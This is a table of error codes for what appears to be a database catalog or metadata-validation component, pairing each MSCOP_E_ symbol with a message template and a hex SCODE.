MSCOP_E_NULLGroupDefTableName | Error: NULL Group Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8008L
MSCOP_E_NULLRelDefTableName | Error: NULL Relation Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8009L
MSCOP_E_NULLRelMemDefTableName | Error: NULL Relation Member Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A800AL
MSCOP_E_NULLTblDefTableName | Error: NULL Table Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A800BL
MSCOP_E_NULLColDefTableName | Error: NULL Column Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A800CL
MSCOP_E_NULLClsKeyDefTableName | Error: NULL Class Key Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A800DL
MSCOP_E_NULLKeyMemDefTableName | Error: NULL Key Member Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A800EL
MSCOP_E_NULLIndexDefTableName | Error: NULL Index Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A800FL
MSCOP_E_NULLIndexMemDefTableName | Error: NULL Index Member Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8010L
MSCOP_E_NULLPartitionDefTableName | Error: NULL Partition Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8011L
MSCOP_E_NULLPartitionPolicyDefTableName | Error: NULL Partition Policy Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8012L
MSCOP_E_NULLIdentityCounterTableName | Error: NULL Identity Counter Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8013L
MSCOP_E_NULLViewDefTableName | Error: NULL View Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8014L
MSCOP_E_NULLViewMemDefTableName | Error: NULL View Member Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8015L
MSCOP_E_NULLAggDefTableName | Error: NULL Aggregation Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8016L
MSCOP_E_NULLLinkTblInfoTableName | Error: NULL Link Table Info Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8017L
MSCOP_E_NULLValTblInfoTableName | Error: NULL Value Table Info Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8018L
MSCOP_E_NULLClsAttrTableName | Error: NULL Class Attribute Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8019L
MSCOP_E_NULLMemAttrTableName | Error: NULL Member Attribute Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A801AL
MSCOP_E_NULLRelAttrTableName | Error: NULL Relation Attribute Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A801BL
MSCOP_E_NULLOtherAttrTableName | Error: NULL Other Default Attribute Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A801CL
MSCOP_E_NULLSynthRelDefPrefix | Error: NULL Synthesized Relation Definition Prefix in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A801DL
MSCOP_E_NULLReferencePrefix | Error: NULL Reference Prefix in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A801EL
MSCOP_E_NULLMemNamePrefix | Error: NULL Member Name Prefix in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A801FL
MSCOP_E_NULLColNamePrefix | Error: NULL Column Name Prefix in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8020L
MSCOP_E_NULLScopePrefix | Error: NULL Scope Prefix in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8021L
MSCOP_E_NULLClsNamePrefix | Error: NULL Class Name Prefix in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8022L
MSCOP_E_InvalidTypeDefObject | Error: Invalid TypeDef object: Type Name: %1 | 0xCA3A8023L
MSCOP_E_NULLCatalogPointerInTypeDefObject | Error: NULL Catalog pointer in TypeDef object. Type name: %1 | 0xCA3A8024L
MSCOP_E_DuplicateTypeName | Error: Type Def with this name already exists in the Catalog map. TypeDef name: %1 | 0xCA3A8025L
MSCOP_E_TypeDefMapAddFailure | Error: Failed adding TypeDef object to Catalog TypeDef map: %1, Object name: %1, SCODE: %2 | 0xCA3A8026L
MSCOP_E_TypeDefMapByIDAddFailure | Error: Failed adding TypeDef object to Catalog TypeDef by ID map: %1, Object name: %2, SCODE: %3 | 0xCA3A8027L
MSCOP_E_TypeDefListAddFailure | Error: Failed adding TypeDef object to Catalog TypeDef list: %1, Object name: %2, SCODE: %3 | 0xCA3A8028L
MSCOP_E_NoIDNoDefaultLink | Error: Default link info generation is not supported for classes with no identity member: %1::%2 | 0xCA3A8029L
MSCOP_E_GeneratedKeyMemValidationFailure | Error: Failed while validating generated Key Mem Def, pos: %1, Key: %2, Member: %3::%4, SCODE: %4 | 0xCA3A802AL
MSCOP_E_CreateInstanceForGeneratedMVClsDefFailure | Error: Create MV ClsDef instance failed for generated Cls Def, Mem: %1::%2, SCODE: %3 | 0xCA3A802BL
MSCOP_E_GeneratedMVClsDefValidationFailure | Error: Failed while validating generated Cls Def, Mem: %1::%2, hr: %3 | 0xCA3A802CL
MSCOP_E_GeneratedMVValMemDefValidationFailure | Error: Failed while validating new MV Value Member. name: %1::%1, SCODE: %3 | 0xCA3A802DL
MSCOP_E_GeneratedMVValMemDefMapAddFailure | Error: Failed adding MemDef object to Catalog _memDefsByClsIDAndMemName list: %1, Object name: %2, SCODE: %3 | 0xCA3A802EL
MSCOP_E_InvalidMemDefObject | Error: Invalid Member object. Member name: %1, Class name: %2, Type name: %3 | 0xCA3A802FL
MSCOP_E_NULLCatalogInMemDefObject | Error: NULL Catalog pointer in MemDef object. Member name: %1 | 0xCA3A8030L
MSCOP_E_InvalidCharsInMemberName | Member name: %1 contains invalid characters | 0xCA3A8031L
MSCOP_E_ClsDefLookupInMemDefValidation | Error: ClsDef lookup error while processing Member name: %1, Class name: %2, SCODE: %3 | 0xCA3A8032L
MSCOP_E_DuplicateMemDefInMemDefValidation | Error: Member Def with this name already exists in the Class. Class name: %1, Member name: %2 | 0xCA3A8033L
MSCOP_E_TypeDefLookupInMemDefValidation | Error: TypeDef lookup error while processing Member name: %1, Class name: %2, Type name: %3, SCODE: %4 | 0xCA3A8034L
MSCOP_E_UserDefinedREFERENCEMember | Error: Invalid type for Member: %1. Only internal objects can be REFERENCE | 0xCA3A8035L
MSCOP_E_SetColumnNameFailure | Error: Unable to set default Column name in Member validation, err: %1, Member name: %2 | 0xCA3A8036L
MSCOP_E_NULLColInfoInMemDefValidation | Error: NULL Column info pointer in MemDef. Member name: %1 | 0xCA3A8037L
MSCOP_E_NULLPartDefInMemDefValidation | Error: NULL Partition Def found in Column lookup while processing Member. Member name: %1, Class name: %2, Column name: %3, SCODE: %4 | 0xCA3A8038L
MSCOP_E_NULLColNameInMemDefValidation | Invalid Member definition object Member name: %1, Class name: %2, Column name is NULL | 0xCA3A8039L
MSCOP_E_NULLGroupInfoInMemDefValidation | Error: NULL Group info pointer in MemDef name: %1 | 0xCA3A803AL
MSCOP_E_ColumnLookupFailureInMemDefValidation | Error: Column lookup error while processing Member. Member name: %1, Class name: %2, Column name: %3, SCODE: %4 | 0xCA3A803BL
MSCOP_E_MultipleIdentityColsInMemDefValidation | Error: Member name %1 has Indentity flag, but Class %2 already has Identity Member - name:%3, SCODE: %4 | 0xCA3A803CL
MSCOP_E_NULLIdentityColInfoInMemDefValidation | Error: NULL Column info pointer in Identity MemDef name: %1, Class name: %2 | 0xCA3A803DL
MSCOP_E_NULLMultiInfoInMemDefValidation | Error: NULL multi value info pointer in MemDef name: %1, Class name: %2 | 0xCA3A803EL
MSCOP_E_FailureAddingToMemDefToClsDefListInMemDefValidation | Error: Failed while adding Member to ClsDef Member list. Member name: %1, Class Name: %2, SCODE: %3 | 0xCA3A803FL
MSCOP_E_FailureAddingToMemDefToMemDefsByClsIDAndMemNameListInMemDefValidation | Error: Failed adding MemDef MemDefsByClsIDAndMemName object to Catalog list, Member name: %1, Class name: %2 SCODE: %3 | 0xCA3A8040L
MSCOP_E_FailureAddingToMemDefToMemDefsByClsIDAndFullMemNameListInMemDefValidation | Error: Failed adding MemDef object to Catalog MemDefsByClsIDAndFullName list, Member name: %1, Class name: %2, SCODE: %3 | 0xCA3A8041L
MSCOP_E_FailureAddingToMemDefToMemDefsMapByIDMapInMemDefValidation | Error: Failed adding MemDef object to Catalog MemDefMapByID map, Member name: %1, Class name: %2, SCODE: %3 | 0xCA3A8042L
MSCOP_E_FailureAddingToMemDefToMultiValueMemDefsByClsIDAndMemNameInMemDefValidation | Error: Failed adding MemDef object to Catalog MultiValueMemDefsByClsIDAndMemName list, Member name: %1, Class name: %2, SCODE: %3 | 0xCA3A8043L
MSCOP_E_PersistentSQLMemberWithoutColumInMemDefValidation | Error: Member of a Class persisted in the SQL store does not have Column defined. Member name: %1, Class name: %2 | 0xCA3A8044L
MSCOP_E_PrimaryKeyMemWithNoPrimaryKeyInMemDefValidation | Error: Member: %1 is marked as Primary Key, but there is no Primary Key defined on Class: %2 | 0xCA3A8045L
MSCOP_E_UniqueKeyMemWithNoKeyDefInMemDefValidation | Error: Member: %1 flagged as UniqueKey, but Class: %2 not flagged for GenerateKeyDefs | 0xCA3A8046L
MSCOP_E_GenerateKeyMemFailureInMemDefValidation | Error: GenerateKeyMem failed for Member: %1 in Class: %2. SCODE: %3 | 0xCA3A8047L
MSCOP_E_FailureAddingToMemDefToChangeObjectsMapByIDInMemDefValidation | Error: Failed adding MemDef object to Catalog ChangeObjectsMapByID map. Object name: %1, Class name: %2, SCODE: %3 | 0xCA3A8048L
MSCOP_E_ErrorConvertingDefaultValueInMemDefValidation | Error converting default value for Member %1 in Class %2 (Default Value=%3, EType=%4, hr=%5) | 0xCA3A8049L
MSCOP_E_NULLValueNotAllowedButNoDefaultValueInMemDefValidation | Member: %1 in Class: %2 has flag IsNullAllowed == false but no default value | 0xCA3A804AL
MSCOP_E_NULLTableNameInCValTblInfoValidation | Error: Invalid Value Table definition object, NULL Value Table name. | 0xCA3A804BL
MSCOP_E_NULLPartitionNameInCValTblInfoValidation | Error: Invalid Value Table definition object, NULL Partition name. Value Table name: %1 | 0xCA3A804CL
MSCOP_E_NULLValIDColumnNameInCValTblInfoValidation | Error: Invalid Value Table definition object, NULL ValID Column name. Value Table name: %1 | 0xCA3A804DL
MSCOP_E_InvalidClassIDAndMemberInCValTblInfoValidation | Error: Invalid Value Table definition object, Table name: %1, Class ID Column name: %2, Member ID Column name: %3 | 0xCA3A804EL
MSCOP_E_NULLCatalogInCValTblInfoValidation | Error: NULL Catalog pointer in ValTblInfo object, Table name: %1 | 0xCA3A804FL
MSCOP_E_DuplicateValTblInfoNameInCValTblInfoValidation | Error: Value Table Info lookup failure. Link Table name: %1, SCODE: %2 | 0xCA3A8050L
MSCOP_E_PartitionNotFoundInCValTblInfoValidation | Error: Partition not found in the Catalog map (by Name). Link Table name: %1, Partition name: %2, SCODE: %3 | 0xCA3A8051L
MSCOP_E_MemberLookupErrorInCValTblInfoValidation | Error: Member lookup error while processing multi value Member Value table. Table name: %1, Member name: %2, SCODE: %3 | 0xCA3A8052L
MSCOP_E_IdentityColumnNotSetOnMemberInCValTblInfoValidation | Error: Invalid Identity Column Member. Member name: %1, Identity Column flag not set. SCODE: %2 | 0xCA3A8053L
MSCOP_E_IdentityColumnLookupErrorInCValTblInfoValidation | Error: Class ID column name lookup error while processing multi value Member Value table, Table name: %1, SCODE: %2 | 0xCA3A8054L
MSCOP_E_MemberIDColumnLookupErrorInCValTblInfoValidation | Error: Member ID col name lookup error while processing multi value Member Value table, Table name: %1, SCODE: %2 | 0xCA3A8055L
MSCOP_E_FailureAddingToValTblInfoToValTableInfosByNameInCValTblInfoValidation | Error: Failed adding ValTblInfo object to Catalog valTableInfosByName map: %1, Object name: %2, SCODE: %3 | 0xCA3A8056L
MSCOP_E_FailureAddingToValTblInfoToValTableInfosByIDInCValTblInfoValidation | Error: Failed adding ValTblInfo object to Catalog valTblInfoMapByID map: %1, Object name: %2, SCODE: %3 | 0xCA3A8057L
MSCOP_E_FailureAddingToValTblInfoToValTableInfosInCValTblInfoValidation | Error: Failed adding ValTblInfo object to Catalog valTblInfo list, Object name: %1, SCODE: %2 | 0xCA3A8058L
MSCOP_E_NULLLinkTableNameInCLinkTblInfoValidation | Error: Invalid Link Table definition object. NULL Link Table name | 0xCA3A8059L
MSCOP_E_NULLPartitionNameInCLinkTblInfoValidation | Error: Invalid Link Table definition object. NULL Partition name, Link Table name: %1 | 0xCA3A805AL
MSCOP_E_NULLInstanceIDColumnNameInCLinkTblInfoValidation | Error: Invalid Link Table definition object. NULL Instance ID Column name, Link Table name: %1 | 0xCA3A805BL
MSCOP_E_NULLValueIDColumnNameInCLinkTblInfoValidation | Error: Invalid Link Table definition object. NULL Value ID Column name, Link Table name: %1 | 0xCA3A805CL
MSCOP_E_NULLMemberIDColumnNameInCLinkTblInfoValidation | Error: Invalid Link Table definition object, Link Table name: %1, Class ID Column name: %2, Member ID Column is NULL | 0xCA3A805DL
MSCOP_E_NULLCatalogInCLinkTblInfoValidation | Error: NULL Catalog pointer in LinkTblInfo object. Link Table name: %1 | 0xCA3A805EL
MSCOP_E_LinkTblInfoLookupFailureInCLinkTblInfoValidation | Error: Link Table Info lookup failure. Link Table name: %1, SCODE: %2 | 0xCA3A805FL
MSCOP_E_PartitionLookupFailureInCLinkTblInfoValidation | Error: Partition lookup failure. Link Table name: %1, Partition name: %2, SCODE: %2 | 0xCA3A8060L
MSCOP_E_ValIDColLookupFailureInCLinkTblInfoValidation | Error: Value ID column lookup error while processing multi value Member Link table. Table name: %1, Val ID Column name: %2, SCODE: %3 | 0xCA3A8061L
MSCOP_E_InstanceIDColLookupFailureInCLinkTblInfoValidation | Error: Instance ID column lookup error while processing multi value Member Link table. Table name: %1, Instance ID Colum name: %2, SCODE: %3 | 0xCA3A8062L
MSCOP_E_ChildClsIDColLookupFailureInCLinkTblInfoValidation | Error: Child Class ID column lookup error while processing multi value Member Link table. Table name: %1, Class ID Colum name: %2, SCODE: %3 | 0xCA3A8063L
MSCOP_E_ChildMemIDColLookupFailureInCLinkTblInfoValidation | Error: Child Member ID lookup error while processing multi value Member Link table. Table name: %1, Member ID Colum name: %2, SCODE: %3 | 0xCA3A8064L
MSCOP_E_FailureAddingTolinkTblInfoMapByIDInCLinkTblInfoValidation | Error: Failed adding LinkTblInfo object to Catalog _linkTblInfoMapByID map. Object name: %1, SCODE: %3 | 0xCA3A8065L
MSCOP_E_FailureAddingTolinkTableInfosByNameInCLinkTblInfoValidation | Error: Failed adding LinkTblInfo object to Catalog linkTableInfosByName map. Object name: %1, SCODE: %2 | 0xCA3A8066L
MSCOP_E_FailureAddingTolinkTblInfoListInCLinkTblInfoValidation | Error: Failed adding LinkTblInfo object to Catalog linkTblInfoList list. Object name: %1, SCODE: %2 | 0xCA3A8067L
MSCOP_E_FailureAddingToGroupMemMapByIDInCGroupMemValidation | Error: Failed adding GroupMem object to Catalog groupMemMapByID map: Object name: %1, SCODE: %2 | 0xCA3A8068L
MSCOP_E_FailureAddingToChangeObjectsMapByIDInCGroupMemValidation | Error: Failed adding ClsDef object to Catalog changeObjectsMapByID map: Object name: %1, SCODE: %2 | 0xCA3A8069L
MSCOP_E_InvalidColDefInColDefValidation | Error: Invalid Column definition object: Column name: %1, Table name: %2, Type name: %3 | 0xCA3A806AL
MSCOP_E_NULLCatalogInColDefValidation | Error: NULL Catalog pointer in ColDef object: Column name: %1 | 0xCA3A806BL
MSCOP_E_SpaceInColNameInColDefValidation | Error: Space character found in Column name: %1. Stored procedure parameters cannot contain spaces. | 0xCA3A806CL
MSCOP_E_TblDefLookupErrorInColDefValidation | Error: TblDef lookup error while processing column. Column name: %1, Table name: %2, SCODE: %3 | 0xCA3A806DL
MSCOP_E_ColNameExistsInColDefValidation | Error: Column with this name already exists in the Table. Column name: %1, Table name: %2 | 0xCA3A806EL
MSCOP_E_FailureAddingToColDefMapByIDInColDefValidation | Error: Failed adding ColDef object to Catalog colDefMapByID map: Object name: %1, SCODE: %2 | 0xCA3A806FL
MSCOP_E_FailureAddingToColDefsInColDefValidation | Error: Failed adding ColDef object to Table _colDefs list: Object name: %1, SCODE: %2 | 0xCA3A8070L
MSCOP_E_FailureAddingToColDefsByTblIDAndColNameInColDefValidation | Error: Failed adding ColDef object to Catalog _colDefsByTblIDAndColName map:Object name: %1, SCODE: %2 | 0xCA3A8071L
MSCOP_E_NULLTableNameInTblDefValidation | Error: Invalid Table definition object: NULL Table name | 0xCA3A8072L
MSCOP_E_NULLCatalogInTblDefValidation | Error: NULL Catalog pointer in TblDef object. Table name: %1 | 0xCA3A8073L
MSCOP_E_DuplicatTableNameInTblDefValidation | Error: Table with this name already exists in the Catalog. Table name: %1 | 0xCA3A8074L
MSCOP_E_FailureAddingToTblDefMapByIDInTblDefValidation | Error: Failed adding TblDef object to Catalog tblDefMapByID map: Object name: %1, SCODE: %2 | 0xCA3A8075L
MSCOP_E_FailureAddingToTblDefMapByNameInTblDefValidation | Error: Failed adding TblDef object to Catalog tblDefsByName map: Object name: %1, SCODE: %2 | 0xCA3A8076L
MSCOP_E_FailureAddingToTblDefListInTblDefValidation | Error: adding table to Catalog Table Def list. Table name: %1, SCODE: %2 | 0xCA3A8077L
MSCOP_E_NULLViewNameInViewDefValidation | Error: Invalid View definition object. NULL View name | 0xCA3A8078L
MSCOP_E_NULLClassNameInViewDefValidation | Error: Invalid View definition object. NULL Class name. View name: %1 | 0xCA3A8079L
MSCOP_E_NULLCatalogInViewDefValidation | Error: NULL Catalog pointer in ViewDef object. View name: %1 | 0xCA3A807AL
MSCOP_E_ClsDefLookupErrorInViewDefValidation | Error: Clsdef lookup error while processing View. View name: %1, Class name: %2, SCODE: %3 | 0xCA3A807BL
MSCOP_E_DuplicateViewNameInViewDefValidation | Error: View with this name already exists in the Catalog. View name: %1 | 0xCA3A807CL
MSCOP_E_ClsDefListInitFailedInViewDefValidation | Error: Failed to initialize Parent ClsDef list for View name: %1, Class name: %2, SCODE: %3 | 0xCA3A807DL
MSCOP_E_RelDefListInitFailedInViewDefValidation | Error: Failed to initialize RelDef list for View name: %1, Class name: %2, SCODE: %3 | 0xCA3A807EL
MSCOP_E_OutOfMemoryInViewDefValidation | Error: Insufficient memory to allocate read data structures. View name: %1 | 0xCA3A807FL
MSCOP_E_FailureAddingToViewToClassInViewDefValidation | Error: Failed while adding View to Class. View name: %1, Class Name: %2, SCODE: %3 | 0xCA3A8080L
MSCOP_E_FailureAddingToViewDefsByNameInViewDefValidation | Error: Failed adding ViewDef object to Catalog viewDefsByName map: Object name: %1, SCODE: %2 | 0xCA3A8081L
MSCOP_E_FailureAddingToViewDefsByIDInViewDefValidation | Error: Failed adding ViewDef object to Catalog viewDefMapByID map: Object name: %1, SCODE: %l2 | 0xCA3A8082L
MSCOP_E_ValidationFailureInGenerateIdentity | Error: Failed while Validating generated identity member. Mem name: %1::%2, hr: %3 | 0xCA3A8083L
MSCOP_E_CreationFailureInGenerateIdentity | Error: unable to create default identity mem def, mem: %1::%2 | 0xCA3A8084L
MSCOP_E_ValidationFailureInGenerateIternalFlag | Error: Failed while Validating generated InternalFlag member. Mem name: %1::%2, hr: %3 | 0xCA3A8085L
MSCOP_E_CreationFailureInGenerateInternalFlag | Error: unable to create default InternalFlag mem def, mem: %1::%2 | 0xCA3A8086L
MSCOP_E_CreationFailureInGenerateKeyDef | Error: unable to create key def, class: %1, key: %2, hr: %3 | 0xCA3A8087L
MSCOP_E_CreationFailureInGenerateTblDef | Error: unable to create default tbl def, class: %1 hr: %2 | 0xCA3A8088L
MSCOP_E_CreationFailureInGeneratePartition | Error: unable to create partition, class: %1, partition: %2, source: %3, table: %4 hr: %5 | 0xCA3A8089L
MSCOP_E_NoSourceNamedInGeneratePartitionDef | Error: Source name must be given to generate default partitions for classes, class: %1 | 0xCA3A808AL
MSCOP_E_SaveListAdditionFailure | Error: Failed to add Member to Save list. Object display name: %1, SCODE: %2 | 0xCA3A808BL
MSCOP_E_ChangeListAdditionFailure | Error: Failed to add object to Change list. Object display name: %1, SCODE: %3 | 0xCA3A808CL
MSCOP_E_CorruptRelDefInClsDefDeleteValidate | Error: Corrupt RelDef table found in ValidateForDelete. Class name: %1, Status: %2 | 0xCA3A808DL
MSCOP_E_NULLClassNameInClsDefValidation | Error: Invalid Class definition object. NULL Class name | 0xCA3A808EL
MSCOP_E_NULLCatalogInClsDefValidation | Error: NULL Catalog pointer in ClsDef object: Class name: %1 | 0xCA3A808FL
MSCOP_E_InvalidCharsInClassNameInClsDefValidation | Error: Class name: %1 contains invalid characters | 0xCA3A8090L
MSCOP_E_SourceDefLookupFailureInClsDefValidation | Error: Source Def lookup failure. Source name: %1, Class name: %2, SCODE: %3 | 0xCA3A8091L
MSCOP_E_NULLSourceDefInClsDefValidation | Error: Required Source name not defined for this class, Class name: %1 | 0xCA3A8092L
MSCOP_E_DuplicateClsDefInClsDefValidation | Error: Class with this name already exists in the Catalog. Class name: %1 | 0xCA3A8093L
MSCOP_E_FailureAddingToClsDefMapByIDClsDefInClsDefValidation | Error: Failed adding ClsDef object to Catalog clsDefMapByID map: Object name: %1, SCODE: %2 | 0xCA3A8094L
MSCOP_E_FailureAddingToClsDefsByNameInClsDefValidation | Error: Failed adding ClsDef object to Catalog clsDefsByName map: Object name: %1, SCODE: %2 | 0xCA3A8095L
MSCOP_E_FailureAddingToClsDefsListInClsDefValidation | Error: Failed adding ClsDef object to Catalog clsDefList list: Object name: %1, SCODE: %2 | 0xCA3A8096L
MSCOP_E_NULLPartitionNameInPartitionDefValidation | Error: Invalid Partition definition object: NULL Partition name | 0xCA3A8097L
MSCOP_E_NULLSourceNameInPartitionDefValidation | Error: Invalid Partition definition object: NULL Source name. Partition name: %1 | 0xCA3A8098L
MSCOP_E_NULLTableNameInPartitionDefValidation | Error: Invalid Partition definition object: NULL Table name. Partition name: %1 | 0xCA3A8099L
MSCOP_E_NULLCatalogInPartitionDefValidation | Error: Invalid Partition definition object: NULL Catalog. Partition name: %1 | 0xCA3A809AL
MSCOP_E_DuplicatePartitionNameInPartitionDefValidation | Error: Partition with this name already exists in the Catalog. Partition name: %1 | 0xCA3A809BL
MSCOP_E_TblDefLookupFailureInPartitionDefValidation | Error: TblDef lookup error while processing Partition. Partition name: %1, Table name: %2, SCODE: %3 | 0xCA3A809CL
MSCOP_E_TableNameDUPWStrFailureInPartitionDefValidation | Error: Failed setting Physical table name. Partition name: %1, Source name: %2, Table name: %3, SCODE: %4 | 0xCA3A809DL
MSCOP_E_SourceDefLookupFailureInPartitionDefValidation | Error: Source Def lookup error while processing Partition. Partition name: %1, Source name: %2, SCODE: %3 | 0xCA3A809EL
MSCOP_E_ClsDefLookupFailureInPartitionDefValidation | Error: Class Def lookup error while processing Partition. Partition name: %1, Class name: %2, SCODE: %3 | 0xCA3A809FL
MSCOP_E_FailureAddingToPartitionDefMapByIDInPartitionDefValidation | Error: Failed adding PartitionDef object to Catalog partitionDefMapByID map: Object name: %1, SCODE: %2 | 0xCA3A80A0L
MSCOP_E_FailureAddingToPartitionDefsByNameInPartitionDefValidation | Error: Failed adding PartitionDef object to Catalog partitionDefsByName map: Object name: %1, SCODE: %2 | 0xCA3A80A1L
MSCOP_E_FailureAddingToPartitionDefListInPartitionDefValidation | Error: adding partition def to global partition list failed, Partition name: %1, Source name: %2, SCODE: %3 | 0xCA3A80A2L
MSCOP_E_NULLPartPolicyNameInPartitionPolicyDefValidation | Error: Invalid Partition Policy definition object: NULL Partition Policy name | 0xCA3A80A3L
MSCOP_E_NULLCatalogInPartitionPolicyDefValidation | Error: NULL Catalog pointer in PartitionPolicyDef object, Partition name: %1 | 0xCA3A80A4L
MSCOP_E_FailureAddingToPartitionPolicyDefMapByIDInPartitionPolicyDefValidation | Error: Failed adding PartitionPolicyDef object to Catalog partitionPolicyDefMapByID map: Object name: %1, SCODE: %2 | 0xCA3A80A5L
MSCOP_E_NULLSourceNameInSourceDefValidation | Error: Invalid Source definition object: NULL Source name | 0xCA3A80A6L
MSCOP_E_NULLConnStringInSourceDefValidation | Error: Invalid Source definition object: NULL Connection String. Source name: %1 | 0xCA3A80A7L
MSCOP_E_NULLCatalogInSourceDefValidation | Error: NULL Catalog pointer in SourceDef object: NULL Catalog. Source name: %1 | 0xCA3A80A8L
MSCOP_E_DuplicateSourceDefInSourceDefValidation | Error: Source Def with this name already exists in the Catalog. Source name: %1 | 0xCA3A80A9L
MSCOP_E_FailureAddingToSouceDefMapByIDInSourceDefValidation | Error: Failed adding SourceDef object to Catalog sourceDefMapByID map: Object name: %1, SCODE: %2 | 0xCA3A80AAL
MSCOP_E_FailureAddingToSouceDefMapByNameInSourceDefValidation | Error: Failed adding SourceDef object to Catalog srcDefsByName map: Object name: %1, SCODE: %2 | 0xCA3A80ABL
MSCOP_E_FailureAddingToSouceDefListInSourceDefValidation | Error: Failed adding SourceDef object to Catalog srcDefList list: Object name: %1, SCODE: %3 | 0xCA3A80ACL
MSCOP_E_NULLKeyDefInKeyMemDefValidation | Error: Invalid Class Key Member definition object: NULL Key name, Key Member name: %1 | 0xCA3A80ADL
MSCOP_E_NULLMemberInKeyMemDefValidation | Error: Invalid Class Key Member definition object: NULL Key Member name, Key name %1 | 0xCA3A80AEL
MSCOP_E_NULLCatalogInKeyMemDefValidation | Error: NULL Catalog pointer in PKeyMem object: Key name: %1, Key Member name: %2 | 0xCA3A80AFL
MSCOP_E_ClsDefLookupFailureInKeyMemDefValidation | Error: ClsKeyDef Lookup error while processing Key Member. Key Member name: %1, Class Key name: %2, SCODE: %3 | 0xCA3A80B0L
MSCOP_E_MemDefLookupFailureInKeyMemDefValidation | Error: Member lookup error while processing Class Key Member. Class Key name: %1, Key Member name: %2, SCODE: %3 | 0xCA3A80B1L
MSCOP_E_DuplicateKeyMemDefInKeyMemDefValidation | Error: Key Member already exists in Class Key. Class name: %1, Class Key name: %2, Member name: %3 | 0xCA3A80B2L
MSCOP_E_NoDefaultValueForKeyMemDefInKeyMemDefValidation | Error: Key Member %1 does not have a valid default value: %2. Class name: %3 | 0xCA3A80B3L
MSCOP_E_KeyMemInMultipleKeysInKeyMemDefValidation | Error: Member used in two different keys. Not supported. Member name: %1, Class name: %2 | 0xCA3A80B4L
MSCOP_E_FailureAddingToKeyMemMapByIDInKeyMemDefValidation | Error: Failed adding KeyMem object to Catalog KeyMemMapByID map: Object name: %1, SCODE: %2 | 0xCA3A80B5L
MSCOP_E_FailureAddingToKeyDefMemListInKeyMemDefValidation | Error: Failed adding KeyMem object to Key Def Member list: Object name: %1, SCODE: %2 | 0xCA3A80B6L
MSCOP_E_FailureAddingToClsDefPKArrayInKeyMemDefValidation | Error: Failed adding KeyMem object to ClsKey persistent Member list: %1, Object name: %2, SCODE: %3 | 0xCA3A80B7L
MSCOP_E_FailureAddingToClsKeyMemsByClsKeyIDandKeyMemNameInKeyMemDefValidation | Error: Failed adding KeyMem object to Catalog clsKeyMemsByClsKeyIDandKeyMemName list: Object name: %1, SCODE: %2 | 0xCA3A80B8L
MSCOP_E_NULLKeyNameInKeyDefValidation | Error: Invalid Class Key definition object: NULL Key name: Class name: %1 | 0xCA3A80B9L
MSCOP_E_NULLClassNameInKeyDefValidation | Error: Invalid Class Key definition object: NULL Class name: Key name: %1 | 0xCA3A80BAL
MSCOP_E_NULLDuplicateClsKeyDefInKeyDefValidation | Error: Class Key Def with this name already exists in the Catalog. ClsKeyDef name: %1 | 0xCA3A80BBL
MSCOP_E_NULLCatalogInKeyDefValidation | Error: Invalid Class Key definition object: NULL Catalog: ClsKeyDef name: %1 | 0xCA3A80BCL
MSCOP_E_ClsDefLookupErrorInKeyDefValidation | Error: Clsdef lookup error while processing Class Key. Class Key name: %1, Class name: %2, SCODE: %3 | 0xCA3A80BDL
MSCOP_E_FailureAddingToClsKeyDefMapByIDInKeyDefValidation | Error: Failed adding ClsKeyDef object to Catalog clsKeyDefMapByID map: Object name: %1, SCODE: %2 | 0xCA3A80BEL
MSCOP_E_FailureAddingToClsKeyDefMapByNameInKeyDefValidation | Error: Failed adding ClsKeyDef object to Catalog clsKeyDefsByName map: Object name: %1, SCODE: %2 | 0xCA3A80BFL
MSCOP_E_ClsDefArrayInitializationFailureInKeyDefValidation | Error: Failed to initialize ClsKeyDef array in Class: %1, SCODE: %2 | 0xCA3A80C0L
MSCOP_E_FailureAddingToClsKeyDefsInKeyDefValidation | Error: Failed adding ClsKeyDef object to Catalog clsKeyDefs list: Object name: %1, SCODE: %2 | 0xCA3A80C1L
MSCOP_E_TwoKeyDefsMarkedPrimaryInKeyDefValidation | Error: Two ClsKeyDefs marked as Primary for Class: %1 | 0xCA3A80C2L
MSCOP_E_TwoKeyDefsMarkedPrimaryInKeyDefValidationDetails | KeyDef at array slot 0: %1, KeyDef at array slot %2: %3 | 0xCA3A80C3L
MSCOP_E_KeyDefSwapFailedInKeyDefValidationDetails | Error: Could not swap Primary ClsKeyDef into array slot 0 for Class: %1, SCODE: %2 | 0xCA3A80C4L
MSCOP_E_InvalidIndexDefInIndexValidation | Error: Invalid Index definition object: Internal Index name: %1, Physical Index name: %2, Class name: %3 | 0xCA3A80C5L
MSCOP_E_NULLCatalogInIndexValidation | Error: NULL Catalog pointer in IndexDef object: Index name: %1 | 0xCA3A80C6L
MSCOP_E_FailureAddingToIndexDefMapByIDInIndexValidation | Error: Failed adding IndexDef object to Catalog indexDefMapByID map: Object name: %1, SCODE: %2 | 0xCA3A80C7L
